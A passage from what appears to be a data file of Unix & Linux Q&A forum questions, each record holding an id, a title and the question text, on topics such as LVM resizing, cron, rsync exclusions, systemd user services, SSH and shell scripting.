/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/README.txt I'm not quite sure how the paths get cycled in the error report. Can someone please clarify what I'm doing wrong here?"} {"_id": "150275", "title": "Removing /home LVM and merging in to /", "text": "[root@host.com ~]# pvdisplay -s Device \"/dev/sda2\" has a capacity of 0 [root@host.com ~]# vgdisplay -s \"vg_vpsny23\" 1.36 TiB [1.36 TiB used / 0 free] [root@host.com ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_vpsny23-lv_root 50G 4.0G 43G 9% / tmpfs 16G 0 16G 0% /dev/shm /dev/sda1 485M 65M 395M 15% /boot /dev/mapper/vg_vpsny23-lv_home 1.3T 300M 1.3T 1% /home [root@host.com ~]# umount /home [root@host.com ~]# vgdisplay --- Volume group --- VG Name vg_vpsny23 System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 3 Open LV 2 Max PV 0 Cur PV 1 Act PV 1 VG Size 1.36 TiB PE Size 4.00 MiB Total PE 357314 Alloc PE / Size 357314 / 1.36 TiB Free PE / Size 0 / 0 I ran umount /home now do I destroy the /home and then merge all the space to the / point?"} {"_id": "91262", "title": "Startscript: using $! to create pidfile - returning wrong pid (off by one) occasionally", "text": "We have 3 instances of redis running on a test server. For some reason, our start script which starts redis can write the wrong pid to a file. Here is what it's doing: su redis -c \"redis-server /redis.conf & echo \\$! > /var/run/redis_6379\" If I chain together `redis_6379 start && redis_6380 start && redis_6381` start and then I stop them like that and start them like that, after 10 or 15 iterations I'll encounter a pid in the start file that is off by 1. Does anyone know why that may occur?"} {"_id": "91260", "title": "How and where is the at command configured?", "text": "When I install a new Linux system, one of my first tasks is to have crontab send all its email to a designated email address, not root. I want to do the same for the `at` command. That is I would like the `at` command to send its _job concluded_ email to a different email than the user who invoked the at command. However, I cannot find where `at` is configured. I have been poking around my CentOS 6.4 system to no avail."} {"_id": "103738", "title": "Compiling python .py to .pyc doesn't happen", "text": "I have read that python will compile the source file **.py** by itself to produce **.pyc** , but this doesn't happen in my case. I have the source file inside `/opt/osqa` folder where I always have to use sudo privileges. How can I compile this source file manually. I am using ArchLinux. Do I need any specific package?"} {"_id": "103736", "title": "Sorting Photos using shell script", "text": "The majority of my photo files have the following naming convention / format IMG_20131204_120000.JPG, showing date and time the photo was taken (iPhone/Apple naming convention). However, not all my photos follow this naming convention. With the help of this forum I developed the following script to categorize my photos into date directories: cd '/photos/' for x in *.JPG *.jpg *.TIF *.tif *.PNG *.png *.BMP *.bmp *.GIF *.gif *.IMG *.img *.JPEG *.jpeg *.TIFF *.tiff; do d=$(date -r \"$x\" +%Y%m%d)\" - Family Photos\" t=$(expr substr \"$x\" 1 4) if [ \"$t\" == \"IMG_\" ]; then d=$(expr substr \"$x\" 5 8)\" - Family Photos\" fi mkdir -p \"$d\" >/dev/null 2>&1 mv -- \"$x\" \"$d/\" >/dev/null 2>&1 done PS. I use the IF statement to take the date from the File name itself if the filename is in the format IMG_20131204_120000.JPG as this date most accurately reflects the date the photo was actually taken, but if the file doesn't follow this naming convention I take the operating system date of when the file was last modified/created. It works fine for the most part except where there are files that start with \"IMG_\" but then don't conform to the naming convention IMG_20131204_120000.JPG, for example a file called IMG_001.JPG or IMG_Photo1. Is there a better way to structure the IF statement here so that it checks not only that the file starts with \"IMG_\" but also the next 8 characters are numbers / a date format?"} {"_id": "143845", "title": "Check ping statistics without stopping", "text": "Is there a way to tell `ping` to show its usual termination statistics without stopping the execution? For instance, I'd like to quickly view: --- 8.8.8.8 ping statistics --- 2410 packets transmitted, 2274 received, +27 errors, 5% packet loss, time 2412839ms rtt min/avg/max/mdev = 26.103/48.917/639.493/52.093 ms, pipe 3 without having to stop the program, thus losing the accumulated data."} {"_id": "91268", "title": "How can a user run a program in kernel mode?", "text": "Is it possible for a user to run their own program in kernel mode? How could a user accomplish this? What weakness in the system's protection mechanism would they have to bypass? I'm thinking that a user program can switch the mode bit from user mode to kernel mode in the interrupt vector and then it can execute any interrupt handlers that it wants. Am I on the right track?"} {"_id": "103732", "title": "Make my own basic shell", "text": "I know there are a hundred ways of doing this, but I'm just asking what is the most common way: How do I make my own terminal prompt? In other words, I want something like the shell where I type a command and it returns another prompt, but I don't want to be bound by the constraints of any existing shell's syntax. I welcome answers using BASH, Perl, Ruby, Python, JS, or whatever... as long as it's bare-bones and fits in nicely with *nix conventions."} {"_id": "103483", "title": "Opening Firefox from terminal", "text": "When I type `firefox` in terminal, it starts Firefox but the terminal \"hangs\". What is happening behind the scenes? Can I open Firefox from terminal and keep on using the same terminal tab for other things without closing Firefox?"} {"_id": "145367", "title": "How to have back the command prompt after calling an application", "text": "In terminal I just type `firefox` and then Firefox starts, but I can not return to _command mode_ anymore. How can I come back to _command mode_? I have already tried `:q` or `exit`, but neither work."} {"_id": "79250", "title": "Log the dropped packets by IPTables only if its DROPPED by a specific rule", "text": "I have IPTables rules set on a Linux device. I have a particular rule to drop the packets, and I wish to log the packets only if they're dropped by that specific rule, and not by the other rules. Hence not written out to the syslog."} {"_id": "73419", "title": "How can a user restrict their own group rights without being root?", "text": "How can I change my user rights from `rwx` to `r-x` at the group level? I'm trying to ensure that I cannot touch any data belonging to other users when I am developing and debugging my scripts. Once I've verified my scripts work correctly I want to go back to `rwx` to run my scripts in production mode. However, I have no specific sudo/root rights"} {"_id": "35222", "title": "Centos Crontab not responding", "text": "I was learning and experimenting with **crontab** today. The default editor was just too difficult for me to figure out which caused me to remove my crontab by running **crontab -r**. Now, when I run **crontab -e** and input my new cron task, nothing happens. I suspect it's the **_crontab -r_** command I executed earlier. Can anyone help, please?"} {"_id": "33722", "title": "Is there a shell utility for printing the contents of a plist? Preferably for a jailbroken iOS device?", "text": "I need a tool that prints the actual text in a plist file (plutil changes the format, cat prints gibberish, and there is no defaults command for iOS). It needs to be in a script, so text editors don't work. This is what I need it for: apps=\"$(find /var/mobile/Applications -name \"Info.plist\" | grep \"\\.app/Info\\.plist\")\" mkdir /var/mobile/rmnames for app in $apps; do newplist=\"$(echo $app | sed 's|/var/mobile/Applications/[^/]*/||' | sed 's|\\.app/Info\\.plist|.txt|')\" #1# $app | sed 's|#2#||' > \"/var/mobile/rmnames/\"$newplist mv \"/var/mobile/rmnames/\"$newplist $app done rm -rf /var/mobile/rmnames What I hope for this to do is delete all of the app store app names on my springboard without having to do it by hand. Where \"#1#\" is a plist printing utility, and \"#2#\" is a regex to find the CFBundleDisplayName. Also, if you are wondering why I don't just get a Cydia tweak that does this, I despise Mobile Substrate.. haha, thanks ahead of time! Example of what I mean by gibberish: mobile:Flixster.app> cat Info.plist bplist00?# !\"#$%&'()*+,(4567(9:; <=>CDEVWXY[\\]^_bc_CFBundleSignatureYDTSDKName_DTPlatformBuild_BuildMachineOSBuil d_UIPrerenderedIcon_MedialetsUseTestServers_CFShortVersionString_CFBundleExecuta ble_CFBundleIconFiles_LSRequiresIPhoneOS]NSMainNibFile^MedialetsAppID_CFBundlePackageTypeZDTSDKBuild_UIRequiresPersistentWiFi\\DTXcodeBuild_NSMainNibFile~ipad_CFBundleResourceSpecificationZDTCompiler_CFBundleDisplayName_%UISupportedInterfaceOrientations~ipad_CFBundleDevelopmentRegion^DTPlatformName_CFBundleURLTypes\\CFBundleName_CFBundleVersion_DTPlatformVersion_CFBundleSupportedPlatformsWDTXcode_FLXReleaseCandidate_MinimumOSVersion_CFBundleIdentifier^UIDeviceFamily_CFBundleIconFile_CFBundleInfoDictionaryVersionT????[iphoneos5.0U9A334V10K549 T5.20XFlixster?-./012XIcon.png[Icon@2x.png[Icon-72.png_Icon-Small-50.png^Icon-Small.png_Icon-Small@2x.png ZMainWindow_(83e69fab771f958d7de70ada6ba32ff334b9eec1TAPPLU9A334 U4C199_MainWindow-iPad_ResourceRules.plist_com.apple.compilers.llvmgcc42P??@AB_#UIInterfaceOrientationLandscapeLeft_$UIInterfaceOrientationLandscapeRight_UIInterfaceOrientationPortrait_(UIInterfaceOrientationPortraitUpsideDownUen_USXiphoneos?F?GHIJ_CFBundleURLName_CFBundleURLSchemes_com.jeffreygrossman.moviesapp? KLMNOPQRSTUXflixster\\fb2558160538\\fb2373897986\\fb2446021478]fb55312797380\\fb5769 273609\\fb2352444510\\fb2451978556]fb16478767641]fb87604592406\\fb2532675812XFlixst erT5.20S5.0?ZXiPhoneOST0420R10S4.0_com.jeffreygrossman.moviesapp? `aXIcon.pngS6.Qeo??????(7MXs??????)"} {"_id": "73412", "title": "SSH ignores characters after correct password string?", "text": "Remote machine 10.10.10.1 has password \"asdFGH12\" for user named \"user\". I'm able to log in even if I type in password \"asdFGH12dasdkjlkjasdus\" or any other characters after the \"asdFGH12\" string. $ ssh -v 10.10.10.1 OpenSSH_5.2p1 FreeBSD-20090522, OpenSSL 0.9.8k 25 Mar 2009 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Connecting to 10.10.10.1 [10.10.10.1] port 22. debug1: Connection established. debug1: identity file /home/user/.ssh/identity type 0 debug1: identity file /home/user/.ssh/id_rsa type -1 debug1: identity file /home/user/.ssh/id_dsa type 2 debug1: Remote protocol version 1.99, remote software version OpenSSH_4.1 debug1: match: OpenSSH_4.1 pat OpenSSH_4* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.2p1 FreeBSD-20090522 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host '10.10.10.1' is known and matches the RSA host key. debug1: Found key in /home/user/.ssh/known_hosts:58 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Next authentication method: publickey debug1: Offering public key: /home/user/.ssh/id_dsa debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Trying private key: /home/user/.ssh/id_rsa debug1: Next authentication method: keyboard-interactive Password: debug1: Authentication succeeded (keyboard-interactive). debug1: channel 0: new [client-session] debug1: Entering interactive session. Warning: untrusted X11 forwarding setup failed: xauth key data not generated Warning: No xauth data; using fake authentication data for X11 forwarding. debug1: Requesting X11 forwarding with authentication spoofing. Last login: Tue Apr 23 14:30:59 2013 from 10.10.10.2 Have a lot of fun... user@server:~> Is this a known behavior of (certain) SSH server versions?"} {"_id": "73413", "title": "IBM V7000 scripts for monitoring", "text": "Hello (I'm no hard core coder:), I try to develop a script to do some very basic monitoring on an IBM SVC. My goal is to get some information about the nodes and my quroum status and then send this information by mail. here's my code so far (I understood that grep command doesn't \"work\" on CLI for SVC). #check nodes of the cluster with lsnodes and parse status ssh admin@SVCName superuser>svcinfo lsnode | while read id name sn wwnn status temp;do echo $name\" \"$status;done #check quorum status with lsquorum and parse status ssh admin@SVCName superuser>svcinfo lsquorum | while read quorum_index status id name controller_id controller_name active temp; do echo $controller_name\" \"$active;done My problem is sending an email from the CLI to designed users. I don't find any valuable information anywhere on the internet. HINT: this script will be deployed on a jumppoint server (probably a windows server) in production, I cannot allow the installation of any exectution environment such as cigwin or perl or anything). Could you help me with that ?"} {"_id": "149959", "title": "How to run systemd user service to trigger on sleep (aka. suspend, hibernate)?", "text": "Based on various sources I have cobbled together `~/.config/systemd/user/screenlock.service`: [Unit] Description=Lock X session Before=sleep.target [Service] Environment=DISPLAY=:0 ExecStart=/usr/bin/xautolock -locknow [Install] WantedBy=sleep.target I've enabled it using `systemctl --user enable screenlock.service`. But after rebooting, logging in, suspending and resuming (tested both with `systemctl suspend` and by closing the lid) _the screen is not locked and there is nothing in`journalctl --user-unit screenlock.service`_. **What am I doing wrong?** Running `DISPLAY=:0 /usr/bin/xautolock -locknow` locks the screen as expected. $ systemctl --version systemd 215 +PAM -AUDIT -SELINUX -IMA -SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ +SECCOMP -APPARMOR $ awesome --version awesome v3.5.5 (Kansas City Shuffle) \u2022 Build: Apr 11 2014 09:36:33 for x86_64 by gcc version 4.8.2 (nobody@) \u2022 Compiled against Lua 5.2.3 (running with Lua 5.2) \u2022 D-Bus support: \u2714 $ slim -v slim version 1.3.6 If I run `systemctl --user start screenlock.service` the screen locks immediately and I get a log message in `journalctl --user-unit screenlock.service`, so `ExecStart` clearly is correct. Relevant `.xinitrc` section: xautolock -locker slock & **Creating a system service with the same file _works_** (that is, `slock` is active when resuming): # ln -s \"${HOME}/.config/systemd/user/screenlock.service\" /usr/lib/systemd/system/screenlock.service # systemctl enable screenlock.service $ systemctl suspend But I do not want to add a user-specific file outside `$HOME` for several reasons: * User services should be clearly separated from system services * User services should be controlled without using superuser privileges * Configuration should be easily version controlled"} {"_id": "18565", "title": "Syncing time with Windows Server Dual Booting systems", "text": "I am about to work on getting the workstations on my network here to be connected to the Active Directory on my Windows 2003 server using Likewise Identity Service. One of the security requirements is a good time sync, so I am trying to setup my Windows server time server on my CentOS machines. These machines dual boot Windows 7 and CentOS 5.5. I am using the Windows server as a time server and it's getting its time from its CMOS. Following a microsoft Knowledge Base article, I removed all the time servers from the CentOS box I am experimenting with and added the IP of my Windows server. It seems to connect OK but the time never gets updated. This network has no connection to the Internet, it's cut off from the world, so cannot get Internet time! Any ideas?"} {"_id": "130985", "title": "If processes inherit the parent's environment, why do we need export?", "text": "I read here that the purpose of `export` in a shell is to make the variable available to sub-processes started from the shell. However, I have also read here and here that _\"Processes inherit their environment from their parent (the process which started them).\"_ If this is the case, why do we need `export`? What am I missing? Are shell variables not part of the environment by default? What is the difference?"} {"_id": "18564", "title": "Asking rsync to delete files on the receiving side that don't exist on the sending side, with exceptions on the receiving side", "text": "I have read these threads: * rsync --delete --files-from=list / dest/ does not delete unwanted files * Delete extraneous files from dest dir via rsync? But, as far as I can tell (maybe I am missing something), they don't cover the following question: How do you ask `rsync` to copy files and delete those on the receiving side that do not exist on the sending side, with exceptions? (e.g. don't remove a mercurial repository `.hg` on the receiving side, even if there is no repository on the sending side). ## One possibility? Borrowing from @Richard Holloway's answer below. Say I have the following line: rsync -av --exclude=dont_delete_me --delete /sending/path /receiving/path As far as I understand, this line would make `rsync` delete everything on the receiving path that does not exist on the sending path, except those things matched by `dont_delete_me`. My question now is: Would rsync keep files on the receiving side that are matched by `dont_delete_me` **even if nothing on the sending side matches`dont_delete_me`?**"} {"_id": "51838", "title": "Block SSH to all but root user", "text": "How can I modify my `sshd_config` so that it blocks access to all users except the root user? I've had a look and I tried AllowUsers root DenyUsers * But that doesn't do anything"} {"_id": "108963", "title": "Expansion of a shell variable and effect of glob and split on it", "text": "This post actually contains two separate questions but I think grouping them together will give some more context. I have gone through this question on quotes around variables but I do not quite understand what _variable expansion_ mean in the first place. So my first question is : 1. What is _variable expansion_ in unix/linux speak? A second part of my question relates to the following terms : 1. _glob_ 2. _split_ What do the above mean and how do they affect variable expansion? The answer to the original question mentions the following: > Think of the absence of quotes (in list contexts) as the split+glob > operator. > > As if echo $test was echo glob(split(\"$test\")). I couldn't find any answers that directly addresses the concept of _globbing_ and _splitting_ but rather uses those terms directly in answering other questions like this recent one."} {"_id": "101778", "title": "How to rebuild /etc/cron.d on CentOS?", "text": "I installed an RPM on a CentOS machine that was supposed to merge its own files contained in a `/etc/cron.d` structure with the current `/etc/cron.d`. However it replaced the current contents. I believe `cron.d` is a symlink. How can I retrieve the original `/etc/cron.d`?"} {"_id": "16154", "title": "How to check if /proc/ is mounted", "text": "How can I check if /proc/ is mounted? * Using /etc/mtab is discouraged as it might be inconsistent. * Using /proc/mounts is also not an option as might not exist if /proc/ is not mounted (although checking for its existence may be a way to do this check. What is the best way to do this check?"} {"_id": "44694", "title": "Set Xorg to use only part of the screen", "text": "My screen has 1280 x 1024 resolution. But unfortunately, rightmost belt of 200 pixels is damaged and unable do display any image. How can I set that the Xorg will treat my screen as 1080 x 1024 device? Now I have tried: Virtual 1080 1024 Viewport 0 0 It doesn't work right - image is scaled to fit vertically, and horizontally I can pan with the mouse."} {"_id": "103439", "title": "putting extra hops into traceroute6 on OpenBSD", "text": "I'm running OpenBSD, or maybe FreeBSD. I don't have lots of IPv4 addresses to waste, but who doesn't have a few billion of IPv6 ones? How do I add some extra IPv6 hops to a `traceroute6`, around `pf(4)` on OpenBSD? Similar to how Ryan Werber of Beagle Networks did it: # traceroute -f2 -m255 -q1 -w2 obiwan.scrye.net traceroute to obiwan.scrye.net (204.244.252.35), 255 hops max, 40 byte packets Skipping 1 intermediate hops 2 hos-tr1.juniper1.rz13.hetzner.de (213.239.224.1) 0.224 ms 3 core22.hetzner.de (213.239.245.121) 1.115 ms 4 core1.hetzner.de (213.239.245.177) 4.802 ms 5 core1.hetzner.de (213.239.245.177) 4.836 ms 6 juniper1.ffm.hetzner.de (213.239.245.5) 5.366 ms 7 10gigabitethernet1-4.core1.lon1.he.net (72.52.92.81) 22.797 ms 8 10gigabitethernet10-4.core1.nyc4.he.net (72.52.92.241) 112.799 ms 9 10gigabitethernet10-4.core1.nyc4.he.net (72.52.92.241) 148.894 ms 10 100gigabitethernet7-2.core1.chi1.he.net (184.105.223.161) 109.669 ms 11 100ge9-1.core1.sea1.he.net (184.105.223.193) 157.816 ms 12 10ge1-1.core1.yvr1.he.net (184.105.222.2) 176.844 ms 13 10ge1-1.core1.yvr1.he.net (184.105.222.2) 160.813 ms 14 216.218.185.138 (216.218.185.138) 215.201 ms 15 gi4-0-528.bbr3.yyz.epikip.net (206.214.255.9) 152.165 ms 16 216.81.55.118.epikip.net (216.81.55.118) 195.530 ms 17 216.81.55.118.epikip.net (216.81.55.118) 167.154 ms 18 206.214.251.27 (206.214.251.27) 186.840 ms 19 A.NEW.HOPE (206.214.251.6) 208.222 ms 20 It.is.a.period.of.civil.war (206.214.251.9) 171.58 ms 21 It.is.a.period.of.civil.war (206.214.251.9) 184.470 ms 22 Rebel.spaceships (206.214.251.14) 178.100 ms 23 have.won.their.first.victory (206.214.251.22) 158.662 ms 24 against.the.evil.Galactic.Empire (206.214.251.25) 203.261 ms 25 against.the.evil.Galactic.Empire (206.214.251.25) 177.668 ms 26 During.the.battle (206.214.251.30) 172.850 ms 27 to.steal.secret.plans (206.214.251.38) 203.746 ms ..."} {"_id": "62338", "title": "How do I retrieve email with Exim4?", "text": "I successfully installed and configured Exim4 on my Debian/Squeeze machine, so now I am able to send outgoing emails with a command like this: exim4 -v recipient@domain.com From: sender@domain.com To: recipient@domain.com Subject: Test email Body of the email . Is there a similar command to RETRIEVE emails into the Maildir folder? NOTE: The emails I want to retrieve are from another email server on the same network. Typically, I use a regular email client to connect to the server via IMAP and SSL."} {"_id": "5975", "title": "Export from KWD (old KWord/KOffice document format) to anything else", "text": "I've got 75 documents in KWD format, from my old days using KDE 3.x. I'd like to convert them to ODT or RTF, so I can edit them with Open Office, Abiword or the newer KWord, but I haven't found a good/quick way to do it. Opening them in an old version of KWord and exporting them works, but if I have to do it for the 75 of them it'll take me ages. I've tried using `koconverter`, a batch converter for KOffice documents included in KDE libs, but neither the one from KOffice 1.6.x nor the one from 2.2.x works. Any suggestions? Thanks in advance."} {"_id": "87954", "title": "How to rename directory from all user accounts", "text": "Let say that more users have a `tmp` directory in their home directory. I want to rename each `tmp` directory in each user home directory. What is the easiest way? Something like this: sudo mv /home/*/tmp /home/*/temp is not ok. And something like this: for dir in /home/*; do if [ -d $dir/tmp ]; then mv $dir/tmp $dir/temp fi done seems too much."} {"_id": "150278", "title": "netctl: multiple Wifi APs with same SSID", "text": "Yesterday I travelled by train and there were multiple Wifi APs with the same SSID. I had no problem connecting to the Wifi; I'm just curios how netctl handles such a case. Which of the available APs will it connect to, and does it seamlessly switch between the available APs if one of them gets out of range?"} {"_id": "103884", "title": "Process substitution over ssh with sudo in Bash shell", "text": "What is the proper way to do something like this: diff <( ssh -t myuser@hosta 'sudo httpd -M') <(httpd -M) When I want to compare the output of the 2 commands, the first on a remote host the second local? Is this the proper method?"} {"_id": "103885", "title": "Piping data to a process's stdin without causing EOF afterward", "text": "I have an executable that starts a user-interactive shell. I would like to, upon launch of the shell, inject a few commands first, then allow the user to have their interactive session. I can do this easily using `echo`: echo \"command 1\\ncommand 2\\ncommand3\" | ./shell_executable This _almost_ works. The problem is that the echo command that is feeding the process's stdin hits EOF once it's done echoing my commands. This EOF causes the shell to terminate immediately (as if you'd pressed Ctrl+D in the shell). Is there a way to inject these commands into stdin without causing an EOF afterwards?"} {"_id": "84680", "title": "IRC user configuration for irssi/ircd-hybrid on Debian", "text": "Running programs as root is dangerous, What's the best way to create a new low privileged user for Irssi and ircd-hybird on Debian?"} {"_id": "43883", "title": "Completing avfs fake directories in zsh", "text": "How can I tweak zsh's completion system to complete \u201cfake\u201d files in some circumstances? More precisely, the AVFS filesystem exposes archives as directories by creating a \u201cfake directory\u201d next to every archive. By default, it replicates the whole directory hierarchy under its mount point `~/.avfs`. Furthermore, under `~/.avfs`, for every archive file such as `/tmp/foo.zip`, besides the archive file itself `~/.avfs/tmp/foo.zip`, there is a directory called `~/.avfs/tmp/foo.zip#` which exposes the content of the archive. However this extra directory does not appear in the listing of `~/.avfs/tmp`: it only exists when explicitly requested. (This is similar to how some automounters operate.) mountavfs cd ~/.avfs/tmp/foo.zip\\# When I type a command like the one above, `foo.zip#` doesn't appear as a completion under `~/.avfs/tmp/`, since there is no such directory. How can I tell zsh that whenever there is a file whose full path `$arc` matches `~/.avfs/**/*.(tgz|zip)`\u00b9, it should pretend that there is a directory called `${arc}#`? (Note that I want the completion to work with every call to `_files` or `_dirs`, not just for the `cd` command. I'd prefer not to have to duplicate the code of the `_files` function, if possible.) \u00b9 and all the rest of the extensions"} {"_id": "6068", "title": "Is it possible to find out what program or script created a given file?", "text": "Three files have suddenly appeared in my home directory, called \"client_state.xml\", \"lockfile\", and \"time_stats_log\". The last two are empty. I'm wondering how they got there. It's not the first time it has happened, but the last time was weeks ago; I deleted the files and nothing broke or complained. I haven't been able to think of what I was doing at the time reported by `stat $filename`. Is there any way I can find out where they came from? Alternatively, is there a way to monitor the home directory (but not sub- directories) for the creation of files?"} {"_id": "38236", "title": "Logging hidden file creations", "text": "> **Possible Duplicate:** > Is it possible to find out what program or script created a given file? Can I find somewhere in logs the times of creation of hidden files or directories under the _/home/username/_ directory? If not, can I use some application to log this for me? It should contain time of creation, file or directory name and who created it (app or user) sorted by time and date."} {"_id": "63502", "title": "audit dir content removing / deletion", "text": "> **Possible Duplicate:** > Is it possible to find out what program or script created a given file? _A peasant needs thunder to cross himself and wonder_. A few minutes I get lost wp blog content the files in dir were deleted. I posted related question to [url]http://wordpress.stackexchange.com/questions/84266/my-blog- get-403-access-error-what-i-have-to-do-the-first-the-second-the-third [/url] wordpress forum. I wonder if there is a way to track file removals/deletions? Any suggestion welcome."} {"_id": "22504", "title": "How can I log who creates a directory?", "text": "> **Possible Duplicate:** > Is it possible to find out what program or script created a given file? Is it possible to log which process/user/IP created a directory? I only found out that the `syslog.conf` is responsible for that. But how can I manage my goal?"} {"_id": "43887", "title": "Open-Source Audio Playlist 'Standard'", "text": "I know there are quite a few types of audio/music playlists out in the wild. Are there any that are specifically approved as FLOSS? That is, are there are that are particularly encouraged by the FSF, like how .ogg is an encouraged audio container format?"} {"_id": "124160", "title": "Mounting a device without read permissions", "text": "It is possible mount a flash drive without read permission?"} {"_id": "124162", "title": "Reliable way to jail child processes using `nsenter:`", "text": "I know that Linux namespaces, among many other things, can be leveraged to handle restricting and jailing child processes securely without any chance of their being zombied and dumped on `init`. But I'm fuzzy on implementation details. How might I use the tools provided by `util-linux` such as `mount` and `nsenter` to watch, monitor, and ensure that all processes launched are the direct namespace descendants of another process?"} {"_id": "124164", "title": "awk - to add a column after matching the remaining columns", "text": "I have a file ( ** _file1.txt_** ) with the contents as below. 8145216 3377090 1.5 1405541 53595498 1.53637 I need to generate all the possible combinations for the first 2 columns in the above file. I use a `php` program as discussed in this answer to generate all the combinations. After finding out the combinations, I have my file as below. 3377090 8145216 1405541 8145216 1405541 3377090 53595498 8145216 53595498 3377090 53595498 1405541 In the above file, I need to append the 3rd column values from **_file1.txt_** and if the value is not present in the **_file1.txt_** I need to append 0 as the 3rd column. The final output that am trying to get is, 3377090 8145216 1.5 1405541 8145216 0 1405541 3377090 0 53595498 8145216 0 53595498 3377090 0 53595498 1405541 1.53637"} {"_id": "154194", "title": "Prime New GlusterFS Cluster w/ 24GB of Files", "text": "I am attempting to load my new glusterfs cluster on AWS with my existing files that total in size of over 24GB. From my calculations, it is going to take 8 days to transfer all the files via the client... Is there someway to copy the files to the brick directory and sync the nodes from there?"} {"_id": "124167", "title": "byobu-config not working", "text": "I installed Byobu 5.73 (latest port available) on _\"FreeBSD seer.fclar.unesp.br 9.1-RELEASE-p6 FreeBSD 9.1-RELEASE-p6 #0: Wed Aug 21 20:40:52 UTC 2013\"_ without a problem. However, when I try to run `byobu- config` I get the error below: # byobu-config .: cannot open /usr/lib/byobu/include/common: No such file or directory If I use F9 inside byobu, the screen just opens and closes, so I guess the error occurs there too. What am I doing wrong? The directory sure doesn't exists, shouldn't it be created during the installation?"} {"_id": "101482", "title": "PCI pass through of Matrox G450 eTV video adapter to Win2K guest opsys on openSUSE 13.1rc2", "text": "I'm having trouble with my Win2K guest VM recognizing the Matrox G450 eTV video adapter such that the video driver install fails. Any ideas?"} {"_id": "130678", "title": "rndc addzone failed: not found", "text": "I installed bin 9.8.4 (default) on Debian Wheezy. after configuration I tried to add a slave zone with the following command: rndc addzone test.zone '{ type slave; file \"test.zone\"; masters { ns.master; }; };' the command failed with the response: rndc: 'addzone' failed: not found in the log file nothing was mentioned (even with debug log on). The last log lines are: 16-May-2014 21:32:31.002 general: debug 1: received control channel command 'null' 16-May-2014 21:32:31.002 general: info: received control channel command 'addzone test.zone { type slave; file \"test.zone\"; masters { ns.master; }; };' the same thing already happens if I use the command: rndc addzone test.zone '{};' My questions are: What is wrong here and what do I need to change to make `rndc addzone` work? Some additional information about my configuration setup: `named.conf` controls { inet 127.0.0.1 allow { localhost;}; }; include \"/etc/bind/named.conf.options.global\"; view \"internal\" { match-clients { internal; }; include \"/etc/bind/named.conf.zone.localhost\"; // 127.0.0.* include \"/etc/bind/named.conf.zone.internal\"; // 192.168.* include \"/etc/bind/named.conf.zone.local\"; // external master zones }; view \"external\" { match-clients { external; }; include \"/etc/bind/named.conf.zone.root\"; // . hint include \"/etc/bind/named.conf.zone.local\"; // external master zones }; `named.conf.options.global` options { directory \"/var/cache/bind\"; dnssec-validation auto; auth-nxdomain no; # default no; conform to RFC1035 listen-on-v6 { any; }; allow-new-zones yes; allow-transfer { secondaryns; }; allow-recursion { internal; }; version none; }; This is no `chroot` setup; I did not change `/etc/default/bind`; ufw is setup, but ports 53 and 953 are open. I did also run the `rndc addzone` command with a valid and existing subzone that is hosted on another name server (transfer on etc) with no different result."} {"_id": "128805", "title": "How can I allow applications to bind to any address in a subnet assigned to an interface?", "text": "I recently got a static IPv6 /56 prefix of my own from Freenet6, and am trying to allow applications to bind arbitrary addresses in the prefix. I modified the tunnel creation script that `gogoc` uses in order to assign both the client address (here we'll call it `2001:5c0:1000::cccc/128`) and the entire subnet I have allocated (here called `2001:5c0:2000:5800::/56`) to `tun` and `tun:1`, respectively. I can bind an application to listen on `2001:5c0::cccc` or `2001:5c0:5800::` just fine, and using IPv6 open port testers indicates that the connection is succeeding. However, the dilemma lies in that I am unable to bind an address like `2001:5c0:2000:5800:1111:2222:3333:4444`, which is part of the subnet I assigned to `tun:1`, getting `EADDRNOTAVAIL` as an error code. `socat` reads: 2014/05/10 12:12:06 socat[16940] E bind(3, {AF=10 [2001:5c0:2000:5800:1111:2222:3333:4444]:9876}, 28): Cannot assign requested address The application I wish to use does not support `IP_FREEBIND` or `IP_TRANSPARENT`. Is there a kernel setting I can use to implicitly free-bind sockets? Or perhaps a way to intercept socket creation from a given process, and attach socket options to that creation? `ip addr`: 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000 link/ether 04:7d:7b:XX:XX:XX brd ff:ff:ff:ff:ff:ff 3: wlan0: mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether 9c:b7:0d:XX:XX:XX brd ff:ff:ff:ff:ff:ff 5: wlan1: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:c0:ff:XX:XX:XX brd ff:ff:ff:ff:ff:ff inet 192.168.2.8/24 brd 192.168.2.255 scope global wlan1 valid_lft forever preferred_lft forever inet6 fe80::2c0:ffff:feff:70d1/64 scope link valid_lft forever preferred_lft forever 11: tun: mtu 1280 qdisc pfifo_fast state UNKNOWN group default qlen 500 link/none inet6 2001:5c0:1103:5800::/56 scope global valid_lft forever preferred_lft forever inet6 2001:5c0:1000:b::5225/128 scope global valid_lft forever preferred_lft forever"} {"_id": "17208", "title": "sed script to insert line after the last matching line in a file", "text": "I'd like to write a script in sed to insert line to a file after all similar lines in the file. So I need to locate 